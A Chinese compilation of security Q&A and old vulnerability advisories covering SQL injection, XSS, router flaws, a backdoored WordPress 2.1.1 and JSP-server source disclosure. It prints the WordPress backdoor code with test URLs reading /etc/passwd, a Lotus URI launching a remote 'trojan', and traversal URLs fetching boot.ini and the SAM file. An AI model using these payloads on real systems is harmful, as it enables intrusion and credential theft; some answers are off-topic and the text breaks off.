㈠ 发现 iis 服务器的http.sys整数溢出,任意代码执行漏洞.怎么验证
进行信息通讯。微软在 Windows 2003 Server 里引进了新的 HTTP API 和内核模式驱动Http.sys,目的是使基于 Http 服务的程序更有效率。其实在 Windows XP 安装 SP2 后,Http.sys 已经出现在系统里了,但事实上操作系统并没有真的使用这个内核级驱动,而 XP 上自带的 IIS 5.1 也没有使用 HTTP API。
从曝出的 POC 来看,此漏洞是一个整数溢出类型的漏洞,微软安全公告称最大安全影响是远程执行代码。
㈡ 常见的漏洞类型有哪些
SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,被广泛用于非法获取网站控制权, 是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL 指令的检查,被数据库误认为是正常的SQL 指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
通常情况下, SQL 注入的位置包括:
(1)表单提交,主要是POST 请求,也包括GET 请求;
(2)URL 参数提交,主要为GET 请求参数;
(3)Cookie 参数提交;
(4)HTTP 请求头部的一些可修改的值,比如Referer 、User_Agent 等;
(5)一些边缘的输入点,比如.mp3 文件的一些文件信息等。
SQL 注入的危害不仅体现在数据库层面上, 还有可能危及承载数据库的操作系统;如果SQL 注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不局限于:
(1)数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。作为数据的存储中心,数据库里往往保存着各类的隐私信息, SQL 注入攻击能导致这些隐私信息透明于攻击者。
(2)网页篡改:通过操作数据库对特定网页进行篡改。
(3)网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
(4)数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被篡改。
(5)服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
(6)破坏硬盘数据,瘫痪全系统。
解决SQL 注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常使用的方案有:
(1 )所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL 语句中。当前几乎所有的数据库系统都提供了参数化SQL 语句执行接口,使用此接口可以非常有效的防止SQL 注入攻击。
(2 )对进入数据库的特殊字符( '"<>&*; 等)进行转义处理,或编码转换。
(3 )确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int 型。
(4)数据长度应该严格规定,能在一定程度上防止比较长的SQL 注入语句无法正确执行。
(5)网站每个数据层的编码统一,建议全部使用UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
(6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
(7)避免网站显示SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
(8)在网站发布之前建议使用一些专业的SQL 注入检测工具进行检测,及时修补这些SQL 注入漏洞。
跨站脚本攻击( Cross-site scripting ,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。XSS 攻击使用到的技术主要为HTML 和Javascript ,也包括VBScript和ActionScript 等。XSS 攻击对WEB 服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。
XSS 类型包括:
(1)非持久型跨站: 即反射型跨站脚本漏洞, 是目前最普遍的跨站类型。跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码不存储到服务端(比如数据库中)。上面章节所举的例子就是这类情况。
(2)持久型跨站:这是危害最直接的跨站类型,跨站代码存储于服务端(比如数据库中)。常见情况是某用户在论坛发贴,如果论坛没有过滤用户输入的Javascript 代码数据,就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript 代码。
(3)DOM 跨站(DOM XSS ):是一种发生在客户端DOM (Document Object Model 文档对象模型)中的跨站漏洞,很大原因是因为客户端脚本处理逻辑导致的安全问题。
XSS 的危害包括:
(1)钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼JavaScript 以监控目标网站的表单输入,甚至发起基于DHTML 更高级的钓鱼攻击方式。
(2 )网站挂马:跨站时利用IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。
(3)身份盗用: Cookie 是用户对于特定网站的身份验证标志, XSS 可以盗取到用户的Cookie ,从而利用该Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户Cookie 被窃取,将会对网站引发巨大的危害。
(4)盗取网站用户信息:当能够窃取到用户Cookie 从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。
(5)垃圾信息发送:比如在SNS 社区中,利用XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
(6)劫持用户Web 行为:一些高级的XSS 攻击甚至可以劫持用户的Web 行为,监视用户的浏览历史,发送与接收的数据等等。
(7)XSS 蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS 攻击等。
常用的防止XSS 技术包括:
(1)与SQL 注入防护的建议一样,假定所有输入都是可疑的,必须对所有输入中的script 、iframe 等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP 请求中的Cookie 中的变量, HTTP 请求头部中的变量等。
(2 )不仅要验证数据的类型,还要验证其格式、长度、范围和内容。
(3)不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
( 4)对输出的数据也要检查, 数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。
(5)在发布应用程序之前测试所有已知的威胁。
弱口令(weak password) 没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则:
(1)不使用空口令或系统缺省的口令,这些口令众所周之,为典型的弱口令。
(2)口令长度不小于8 个字符。
(3)口令不应该为连续的某个字符(例如: AAAAAAAA )或重复某些字符的组合(例如: tzf.tzf. )。
(4)口令应该为以下四类字符的组合,大写字母(A-Z) 、小写字母(a-z) 、数字(0-9) 和特殊字符。每类字符至少包含一个。如果某类字符只包含一个,那么该字符不应为首字符或尾字符。
(5)口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail 地址等等与本人有关的信息,以及字典中的单词。
(6)口令不应该为用数字或符号代替某些字母的单词。
(7)口令应该易记且可以快速输入,防止他人从你身后很容易看到你的输入。
(8)至少90 天内更换一次口令,防止未被发现的入侵者继续使用该口令。
HTTP/1.1 (RFC2616 )规范定义了HTTP TRACE 方法,主要是用于客户端通过向Web 服务器提交TRACE 请求来进行测试或获得诊断信息。当Web 服务器启用TRACE 时,提交的请求头会在服务器响应的内容(Body )中完整的返回,其中HTTP 头很可能包括Session Token 、Cookies 或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击,由于HTTP TRACE 请求可以通过客户浏览器脚本发起(如XMLHttpRequest ),并可以通过DOM 接口来访问,因此很容易被攻击者利用。防御HTTP 报头追踪漏洞的方法通常禁用HTTP TRACE 方法。
Apache Struts 是一款建立Java web 应用程序的开放源代码架构。Apache Struts 存在一个输入过滤错误,如果遇到转换错误可被利用注入和执行任意Java 代码。网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork 作为网站应用框架,由于该软件存在远程代码执高危漏洞,导致网站面临安全风险。CNVD 处置过诸多此类漏洞,例如:“ GPS 车载卫星定位系统”网站存在远程命令执行漏洞(CNVD-2012-13934) ;Aspcms 留言本远程代码执行漏洞( CNVD-2012-11590 )等。
修复此类漏洞,只需到Apache 官网升级Apache Struts 到最新版本
框架注入攻击是针对Internet Explorer 5 、Internet Explorer 6 、与Internet Explorer 7 攻击的一种。这种攻击导致Internet Explorer 不检查结果框架的目的网站,因而允许任意代码像Javascript 或者VBScript 跨框架存取。这种攻击也发生在代码透过多框架注入,肇因于脚本并不确认来自多框架的输入。这种其他形式的框架注入会影响所有的不确认不受信任输入的各厂商浏览器和脚本。如果应用程序不要求不同的框架互相通信,就可以通过完全删除框架名称、使用匿名框架防止框架注入。但是,因为应用程序通常都要求框架之间相互通信,因此这种方法并不可行。因此,通常使用命名框架,但在每个会话中使用不同的框架,并且使用无法预测的名称。一种可行的方法是在每个基本的框架名称后附加用户的会话令牌,如main_display 。
文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过Web 访问的目录上传任意文件,包括网站后门文件( webshell ),进而远程控制网站服务器。因此,在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关目录的执行权限,防范webshell 攻击。
由于测试脚本对提交的参数数据缺少充分过滤,远程攻击者可以利用洞以WEB 进程权限在系统上查看任意文件内容。防御此类漏洞通常需严格过滤提交的数据,有效检测攻击。
IP 地址是网络用户的重要标示,是攻击者进行攻击前需要了解的。获取的方法较多,攻击者也会因不同的网络情况采取不同的方法,如:在局域网内使用Ping 指令, Ping 对方在网络中的名称而获得IP;在Internet 上使用IP 版的QQ直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP 包头信息,再根据这些信息了解具体的IP。针对最有效的“数据包分析方法”而言,就可以安装能够自动去掉发送数据包包头IP 信息的一些软件。不过使用这些软件有些缺点, 譬如:耗费资源严重,降低计算机性能;访问一些论坛或者网站时会受影响;不适合网吧用户使用等等。现在的个人用户采用最普及隐藏IP 的方法应该是使用代理,由于使用代理服务器后,“转址服务”会对发送出去的数据包有所修改,致使“数据包分析”的方法失效。一些容易泄漏用户IP 的网络软件(QQ 、MSN 、IE 等)都支持使用代理方式连接Internet ,特别是QQ 使用“ ezProxy ”等代理软件连接后, IP 版的QQ 都无法显示该IP 地址。虽然代理可以有效地隐藏用户IP,但攻击者亦可以绕过代理, 查找到对方的真实IP 地址,用户在何种情况下使用何种方法隐藏IP,也要因情况而论。
由于Web 配置不安全, 登陆请求把诸如用户名和密码等敏感字段未加密进行传输, 攻击者可以窃听网络以劫获这些敏感信息。建议进行例如SSH 等的加密后再传输。
SQL 注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露,攻击者可以通过漏洞获得敏感信息。针对不同成因,防御方式不同。
㈢ 如何修复Python任意命令执行漏洞
打开腾讯电脑管家——工具箱——修复漏洞,进行漏洞扫描和修复。
建议设置开启自动修复漏洞功能,开启后,电脑管家可以在发现高危漏洞(仅包括高危漏洞,不包括其它漏洞)时,第一时间自动进行修复,无需用户参与,最大程度保证用户电脑安全。尤其适合老人、小孩或计算机初级水平用户使用。开启方式如下:进入电脑管家“修复漏洞”模块—“设置”,点击开启自动修复漏洞即可。
㈣ kB370020 Adobe Flash player远程代码执行漏洞
是一个不小的漏洞了,对方可以通过这个漏洞加上几个提升权限工具就可以远程在你的电脑里执行任意命令,360可以检测出来,修复。
㈤ Wordpress 2.1.1远程命令执行后门漏洞
他受影响系统是:
WordPress WordPress 2.1.1
描述:
BUGTRAQ ID: 22797
WordPress是一款免费的论坛Blog系统。
WordPress提供软件下载的网站被入侵,入侵者修改了软件代码码植入远程可执行命令的后门,远程攻击者可能利用这个后门以Web进程权限在安装了恶意版本WordPress的服务器上执行任意命令。
被修改的文件是wp-includes/feed.php和wp-includes/theme.php,被添加了如下代码:
在wp-includes/feed.php文件中:
function comment_text_phpfilter($filterdata) {
eval($filterdata);
}
...
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }
eval()调用会执行通过ix变量传入的PHP代码。
在wp-includes/theme.php文件中:
function get_theme_mcommand($mcds) {
passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }
passthru()会执行通过iz变量传入的PHP代码。
<*来源:Ivan Fratric
链接:http://secunia.com/advisories/24374/
http://wordpress.org/development/2007/03/upgrade-212/
http://ifsec.blogspot.com/2007/03/wordpress-code-compromised-to-enable.html
*>
测试方法:
--------------------------------------------------------------------------------
提示:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://wordpressurl/wp-includes/feed.php?ix=phpinfo()
http://wordpressurl/wp-includes/theme.php?iz=cat/etc/passwd
㈥ 路由器漏洞有哪些
1.最难修补的漏洞:厄运饼干漏洞
上榜理由:12年补不上,黑客可以为所欲为
Check Point近日发现了一个影响极大的路由漏洞,并命名为“厄运饼干(Misfortune Cookie)”。该漏洞影响了20余家路由厂商生产的至少1200万台路由,其中包括有TP-Link、D-Link等知名厂商。
通过厄运饼干漏洞,黑客能够监控一切通过与路由器进行连接的设备的所有数据,包括文件、电子邮件、登录信息等,在监控的同时还能在这些数据当中植入恶意软件。
厄运饼干是在一个提供Web服务器服务的RomPager组件上发现的,该组件是由Allegro Software公司研发的。Allegro Software公司回应称,厄运饼干漏洞是一个12年前的bug,并在9年前被修复,但Allegro的许多客户并没有更新漏洞补丁。
02class
2.影响最广的漏洞:UPnP协议漏洞
上榜理由:祸及1500个供应商、6900款产品、近5000万台设备
路由器和其他网络设备是导致用户个人设备极易受到攻击的根源,因为它们都普遍采用了即插即用(Universal Plug and Play,UPnP)技术,以便让网络更加便捷地识别外部设备并与之进行通讯。
但Rapid7的研究人员从即插即用技术标准中发现了三种相互独立的漏洞,超过1500个供应商和6900款产品都有一个以上这样的安全漏洞,导致全球4,000万到5,000万台设备极易受到攻击。这些设备的名单中包括数家全球知名网络设备生产商的产品,比如Belkin、D-Link以及思科旗下的Linksys和Netgear。
除非被修补,否则这些漏洞会让黑客轻易的访问到机密商业文件和密码,或者允许他们远程控制打印机和网络摄像头。
03class
3.最狡猾的漏洞:NAT-PMP协议漏洞
上榜理由:1200万路由器都是替罪羊
NAT-PMP(网络地址端口映射协议)是一个适用于网络设备的端口映射协议,允许外部用户访问文件共享服务,以及NAT协议下的其他内部服务。
RFC-6886即NAT-PMP的协议规范,特别指明NAT网关不能接受外网的地址映射请求,但一些厂商并没有遵守这个规定,导致出现NAT-PMP协议设计不当漏洞,将影响超过1200万台路由器设备。
漏洞将使黑客在路由器上运行恶意命令,会把你的系统变成黑客的反弹代理服务的工具,或者用你的路由IP托管恶意网站。
04class
4.最麻烦的漏洞:32764端口后门
上榜理由:路由器还在,管理员密码没了
法国软件工程EloiVanderbeken发现了可以重置管理员密码的后门——“TCP 32764”。利用该后门漏洞,未授权的攻击者可以通过该端口访问设备,以管理员权限在受影响设备上执行设置内置操作系统指令,进而取得设备的控制权。
Linksys、Netgear、Cisco和Diamond的多款路由器均存在该后门。
05class
5.最懂传播的漏洞:Linksys固件漏洞
上榜理由:被感染蠕虫,还帮蠕虫传播
因为路由器的固件版本存在漏洞,Cisco Linksys E4200、E3200、E3000、E2500、E2100L、E2000、E1550、E1500、E1200、E1000、E900等型号都存在被蠕虫The Moon感染的风险。
The Moon蠕虫内置了大约670个不同国家的家用网段,一旦路由器被该蠕虫感染,就会扫描其他IP地址。被感染的路由器还会在短时间内会作为http服务器,供其他被感染的路由器下载蠕虫代码。
06class
6.最自由的漏洞:TP-Link路由器漏洞
上榜理由:无需授权认证
国内漏洞平台乌云爆出了一个TP-Link路由器的漏洞(CNVD-2013-20783)。TP-Link部分型号的路由器存在某个无需授权认证的特定功能页面(start_art.html),攻击者访问页面之后可引导路由器自动从攻击者控制的TFTP服务器下载恶意程序,并以root权限执行。
攻击者利用这个漏洞可以在路由器上以root身份执行任意命令,从而可完全控制路由器。
目前已知受影响的路由器型号包括TL-WDR4300、TL-WR743ND (v1.2 v2.0)、TL-WR941N,其他型号也可能受到影响。
07class
7.最赶时髦的漏洞:华硕路由器AiCloud漏洞
上榜理由:搭上了“云端应用”热点
华硕路由器存在严重安全问题,可以被远程利用,并且完全控制路由器。漏洞存在AiCloud媒体服务器上,这是华硕推出的一款云端服务产品,在多款路由器上搭载了AiCloud的云端应用。
攻击者可以使用这些凭据来访问连接路由器上USB端口的存储设备,也可以访问其他计算机上的共享文件。该漏洞还允许远程写文件,并且可以建立以个VPN隧道,还可以通过路由器获取所有的网络流量。
08class
8.最会发挥的漏洞:小米路由器漏洞
上榜理由:可以执行管理平台没有的系统命令
小米路由器正式发售时,系统版本0.4.68爆出一个任意命令执行漏洞。当用户使用较弱的路由器管理密码或在线登录路由器管理平台时,攻击者可以通过访问特定页面让小米路由器执行任意系统命令,完全控制小米路由器。
家用路由器安全之道
当路由器被爆出各种漏洞后,路由器厂商通常会在其官网上发布固件(路由器的操作系统)的升级版本。但因为大部分普通用户在购买家用路由器后,都没有定期升级路由器固件版本的习惯,而路由器厂商也无法主动向用户推送固件升级包,安全软件也很少有可以给路由器打补丁的,这就导致路由器的安全漏洞被曝光后,很难得到及时的修复,因此存在巨大的安全隐患。
为了避免不必要的损失,建议家庭用户:
1.养成定期升级固件系统的习惯,最好是去路由器厂商官网升级固件,也可以选择一些可靠的第三方工具辅助升级固件系统。例如使用360路由器卫士检测和修复路由器后门漏洞,预防路由器被黑客劫持。
2.及时修改路由器的默认管理密码,尽量使用10位以上的复杂密码,最好是“大小写字母+数字+特殊符号”的组合。
3.WiFi以WPA/WPA2加密认证方式设置高强度密码,并关闭路由器的WPS/QSS功能,以免被他人蹭网后威胁整个家庭网络的安全。
㈦ 常见的网络安全漏洞有哪些
第一:注入漏洞
由于其普遍性和严重性,注入漏洞位居漏洞排名第一位。常见的注入漏洞包括SQL、LDAP、OS命令、ORM和OGML。用户可以通过任何输入点输入构建的恶意代码,如果应用程序没有严格过滤用户的输入,一旦输入的恶意代码作为命令或者查询的一部分被发送到解析器,就可能导致注入漏洞。
第二:跨站脚本漏洞
XSS漏洞的全称是跨站点脚本漏洞。XSS漏洞是网络应用程序中常见的安全漏洞,它允许用户将恶意代码植入网页,当其他用户访问此页面时,植入的恶意脚本将在其他用户的客户端执行。危害有很多,客户端用户的信息可以通过XSS漏洞获取,比如用户登录的Cookie信息;信息可以通过XSS蜗牛传播;木马可以植入客户端;可以结合其他漏洞攻击服务器,并在服务器中植入特洛伊木马。
第三、文件上传漏洞
造成文件上传漏洞的主要原因是应用程序中有上传功能,但上传的文件没有通过严格的合法性检查或者检查功能有缺陷,导致木马文件上传到服务器。文件上传漏洞危害极大,因为恶意代码可以直接上传到服务器,可能造成服务器网页修改、网站暂停、服务器远程控制、后门安装等严重后果。
第四、文件包含漏洞
文件包含漏洞中包含的文件参数没有过滤或严格定义,参数可以由用户控制,可能包含意外文件。如果文件中存在恶意代码,无论文件是什么后缀类型,文件中的恶意代码都会被解析执行,导致文件包含漏洞。
第五、命令执行漏洞
应用程序的某些函数需要调用可以执行系统命令的函数。如果这些功能或者功能的参数可以被用户控制,那么恶意的命令就有可能通过命令连接器拼接成正常的功能,从而可以随意执行系统命令。这就是命令执行漏洞,属于高风险漏洞之一。
㈧ IBM Lotus Expeditor URI处理器命令执行漏洞
受影响系统:
IBM Lotus Expeditor
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 28926
Lotus Expeditor之前名为IBM WebSphere Everyplace Deployment,是用于创建、部署和维护各种应用的管理客户端。
Lotus expeditor中的rcplauncher(由lotus symphony套件安装)进程注册了一个cai: uri处理器。由于rcplauncher进程会接受各种参数,因此可能被滥用执行任意代码。例如,-launcher选项参数会执行可执行程序。
<*来源:Thomas Pollet
链接:http://marc.info/?l=full-disclosure&m=120904651132048&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
cai:"%20-launcher%20\\6.6.6.6\d$\trojan
建议:
--------------------------------------------------------------------------------
厂商补丁:
IBM
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www-128.ibm.com/developerworks/lotus/procts/expeditor/
㈨ jsp有哪些漏洞
JSP漏洞大观
Apache泄露重写的任意文件漏洞是怎么回事?
在Apache1.2以及以后的版本中存在一个mod_rewrite模块,它用来指定特殊URLS在网络服务器文件系统上所映射的绝对路径。如果传送一个包含正确表达参数的重写规则,攻击者就可以查看目标主机上的任意文件。
下面举例说明重写规则指令(其中第一行只有是包含漏洞的):
RewriteRule /test/(.*) /usr/local/data/test-stuff/$1
RewriteRule /more-icons/(.*) /icons/$1
RewriteRule /go/(.*) http://www.apacheweek.com/$1
受影响的系统:
1)Apache 1.3.12
2)Apache 1.3.11win32
3)Apache 1.2.x
不受影响系统:Apache 1.3.13
怎样解决在HTTP请求中添加特殊字符导致暴露JSP源代码文件?
Unify eWave ServletExec 是一个 Java/Java Servlet 引擎插件,主要用于 WEB 服务器,例如:Microsoft IIS, Apache, Netscape Enterprise 服务器等等。
当一个 HTTP 请求中添加下列字符之一,ServletExec 将返回 JSP 源代码文件。
.
%2E
+
%2B
\
%5C
%20
%00
成功的利用该漏洞将导致泄露指定的JSP文件的源代码,例如:使用下面的任意一个URL请求将输出指定的JSP文件的源代码:
1)http://target/directory/jsp/file.jsp.
2)http://target/directory/jsp/file.jsp%2E
3)http://target/directory/jsp/file.jsp+
4)http://target/directory/jsp/file.jsp%2B
5)http://target/directory/jsp/file.jsp\
6)http://target/directory/jsp/file.jsp%5C
7)http://target/directory/jsp/file.jsp%20
8)http://target/directory/jsp/file.jsp%00
受影响的系统:
1)Unify eWave ServletExec 3.0c
2)Sun Solaris 8.0
3)Microsoft Windows 98
4)Microsoft Windows NT 4.0
5)Microsoft Windows NT 2000
6)Linux kernel 2.3.x
7)IBM AIX 4.3.2
8)HP HP-UX 11.4
解决方案:
如果没有使用任何静态页面或图像,可以配置一个默认的 servlet,并将"/"映射到这个默认的 servlet。这样当收到一个未映射到某个 servlet 的 URL 时,这个默认的servlet 就会被调用。在这种情况下,默认的 servlet 可以仅仅返回"未找到文件"。如果使用了静态的页面或图像,仍然可以作这样的配置,但是需要让这个默认的servlet 处理对合法的静态页面和图像的请求。
另一种可能就是将*.jsp+、*.jsp.和*.jsp\等映射到一个 servlet,而该servlet只是返回"未找到文件"。对于*.jsp%00和*.jsp%20这样的情况,映射应以未经编码的形式输入。例如,对于*.jsp%20的映射应输入"*.jsp "。注意%20被转换成一个空格字符。
Tomcat有哪些漏洞?
Tomcat 3.1 存在暴露网站路径问题
Tomcat 3.1 是在 Apache 软件环境下开发的一个支持 JSP 1.1 和 Servlets 2.2 的软件。它存在一个安全问题当发送一个不存在的 jsp 请求时会暴露网站上网页的全路径。
举例:
http://narco.guerrilla.sucks.co:8080/anything.jsp
结果显示:
Error: 404
Location: /anything.jsp
JSP file "/appsrv2/jakarta-tomcat/webapps/ROOT/anything.jsp" not found
解决方案:升级到新版本
Tomcat 暴露JSP文件内容
Java Server Pages (JSP)类型的文件是以'.jsp'扩展名在Tomcat 上注册,Tomcat 是文件名大小写敏感的,'.jsp'和'.JSP'是不同类型的文件扩展名。如果提交有'.JSP'的链接给Tomcat,而Tomcat找不到'.JSP'就会以默认的'.text'文件类型来响应请求。因为在NT系统中大小写文件名是非敏感的,所以被请求的文件会以文本的形式送出。
如果在UNIX服务器上会出现"file not found"的错误信息。
如何在windows下对Tomcat实施代码保护
Tomcat的一些版本有泄露源代码的漏洞,如果在浏览器中调用JSP页面时将该文件的后缀改成大写,这个JSP文件的源代码将完全输出到浏览器中(也许浏览器窗口中什么都没有,这时你只需查看HTML源文件就可以发现)。如此一来,网站的源代码是不是都会暴露在互联网上那?
不用担心,解决方法很简单,把各种后缀的组合全部写到Tomcat_Home\conf \web.xml里就可以了,这样Tomcat会将不同后缀名的JSP分开对待,就不会泄露代码了。
jsp
*.jsp
jsP
*.jsP
?lt;servlet-name> jSp
*.jSp
jSP
*.jSP
Jsp
*.Jsp
JsP
*.JsP
JSp
*.JSp
JSP
*.JSP
Allair Jrun漏洞有哪些漏洞?
Allair JRUN 非法读取 WEB-INF 漏洞
在Allaire 的 JRUN 服务器 2.3版本中存在一个严重的安全漏洞。它允许一个攻击者在 JRun 3.0 服务器中查看 WEB-INF 目录。
如果用户在提交 URL 请求时在,通过附加一个"/"使该 URL 成为畸形的 URL,这时 WEB-INF 下的所有子目录将会暴露出来。攻击者巧妙的利用该漏洞将能够远程获得目标主机系统中 WEB-INF 目录下的所有文件的读取权限。
例如使用下面这个 URL 将会暴露 WEB-INF 下的所有文件:
http://site.running.jrun:8100//WEB-INF/
受影响的系统:Allaire JRun 3.0
解决方案:下载并安装补丁:
Allaire patch jr233p_ASB00_28_29
http://download.allaire.com/jrun/jr233p_ASB00_28_29.zip
Windows 95/98/NT/2000 and Windows NT Alpha
Allaire patch jr233p_ASB00_28_29tar
http://download.allaire.com/jrun/jr233p_ASB00_28_29.tar.gz
UNIX/Linux patch - GNU gzip/tar
Allaire JRUN 2.3 查看任意文件漏洞
Allaire 的 JRUN 服务器 2.3上存在多重显示代码漏洞。该漏洞允许攻击者在 WEB 服务器上查看根目录下的任意文件的源代码。
JRun 2.3 使用 Java Servlets 解析各种各样类型的页面(例如:HTML, JSP等等)。基于rules.properties 和 servlets.properties 的文件设置,可能利用URL前缀"/servlet/"调用任何servlet。
它可能使用 Jrun 的 SSIFilter servlet 在目标系统上检索任意的文件。下列 2 个例子显示出能被用来检索任意的文件的 URLs :
http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../t est.jsp
http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini
http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../. ./../../../../winnt/repair/sam
http://jrun:8000/servlet/ssifilter/../../test.jsp
http://jrun:8000/servlet/ssifilter/../../../../../../../boot.ini
http://jrun:8000/servlet/ssifilter/../../../../../../../winnt/repair/sam._
注意:假设JRun在主机" jrun "上运行,端口8000。
受影响的系统:Allaire JRun 2.3.x
解决方案:下载并安装补丁:
Allaire patch jr233p_ASB00_28_29
http://download.allaire.com/jrun/jr233p_ASB00_28_29.zip
Windows 95/98/NT/2000 and Windows NT Alpha
Allaire patch jr233p_ASB00_28_29tar
http://download.allaire.com/jrun/jr233p_ASB00_28_29.tar.gz
UNIX/Linux patch - GNU gzip/tar Allaire JRUN 2.3远程执行任意命令漏洞
Allaire 的 JRUN 服务器 2.3上存在一个安全漏洞,允许远程用户把在 WEB 服务器上的任意文件作为JSP代码编译/执行。 如果URL请求的目标文件使用了前缀"/servlet/",则JSP解释执行功能被激活。这时在用户请求的目标文件路径中使用"../",就有可能访问到 WEB 服务器上根目录以外的文件。在目标主机上利用该漏洞请求用户输入产生的一个文件,将严重威胁到目标主机系统的安全。
例如:
http://jrun:8000/servlet/com.livesoftware.jrun.plugins.jsp.JSP/../../path/to /temp.txt
http://jrun:8000/servlet/jsp/../../path/to/temp.txt
受影响的系统:Allaire JRun 2.3.x
解决方案:下载并安装补丁:
Allaire patch jr233p_ASB00_28_29
http://download.allaire.com/jrun/jr233p_ASB00_28_29.zip
Windows 95/98/NT/2000 and Windows NT Alpha
Allaire patch jr233p_ASB00_28_29tar
http://download.allaire.com/jrun/jr233p_ASB00_28_29.tar.gz
UNIX/Linux patch - GNU gzip/tar
JRun 2.3.x 范例文件暴露站点安全信息
JRun 2.3.x 在 JRUN_HOME/servlets 目录下有一些 servlet 范例文件,这个目录是 JRun 2.3.x 用于加载和执行 servlets 文件。所有扩展名为 ".Java" 或 "class" 的文件必须被删除,这是因为这些文件会暴露站点的安全信息。例如:
http://www.xxx.xxx/servlet/SessionServlet 会暴露当前服务器保持的HTTP连接信息。JRUN_HOME/jsm-default/services/jws/htdocs 目录下的内容也应被删除掉。这个目录保存有演示服务器功能的 '.jsp' 文件,其中一些文件牵涉到访问服务器文件系统和暴露服务器设置的问题。例如对文件 "viewsource.jsp" 的路径检查是默认关闭的,它可被用于访问服务器文件系统。
解决方案:
1)安装 2.3.3 service pack
2)从服务器上删除所有的说明文档、演示编码、范例和教材,包括安装 JRun 2.3.x 时存放于 JRUN_HOME/servlets 目录和JRUN_HOME/jsm-default/services/jws/htdocs 目录里的文档。
相关站点:http://www.allaire.com/
IBM WebSphere Application Server有哪些漏洞?
1、IBM WebSphere Application Server 3.0.2 存在暴露源代码漏洞
IBM WebSphere Application Server 允许攻击者查看 Web server 根目录以上的所有文件。IBM WebSphere 使用 Java Servlets 处理多种页面类型的分析(如 HTML, JSP, JHTML, 等等)。In addition 不同的 servlets 对不同的页面进行处理,如果一个请求的文件是未进行注册管理的,WebSphere 会使用一个默认的 servlet 作调用。如果文件路径以"/servlet/file/"作开头这个默认的 servlet 会被调用这个请求的文件会未被分析或编译就显示出来。
受影响系统:IBM WebSphere 3.0.2 的所有版本
举例:
如果一个请求文件的 URL 为 "login.jsp":: http://site.running.websphere/login.jsp那么访问 http://site.running.websphere/servlet/file/login.jsp将看到这个文件的源代码。
解决方案:下载并安装补丁
http://www-4.ibm.com/software/webservers/appserv/efix.html
相关站点:http://www-4.ibm.com/software/webservers/appserv/
IBM WebSphere Application Server 暴露JSP文件内容
Java Server Pages (JSP)类型的文件是以'.jsp'扩展名在WebSphere Application Serve 上注册,WebSphere 是文件名大小写敏感的,'.jsp'和'.JSP'是不同类型的文件扩展名。如果提交有'.JSP'的链接给WebSphere,而WebSphere找不到'.JSP'就会以默认的'.text'文件类型来响应请求。因为在NT系统中大小写文件名是非敏感的,所以被请求的文件会以文本的形式送出。
如果在UNIX服务器上会出现"file not found"的错误信息。
解决方案:点击此处下载补丁
相关站点:http://www-4.ibm.com/software/webservers/appserv/efix.html
BEA WebLogic有哪些暴露源代码漏洞?
受影响版本:
所有系统上的
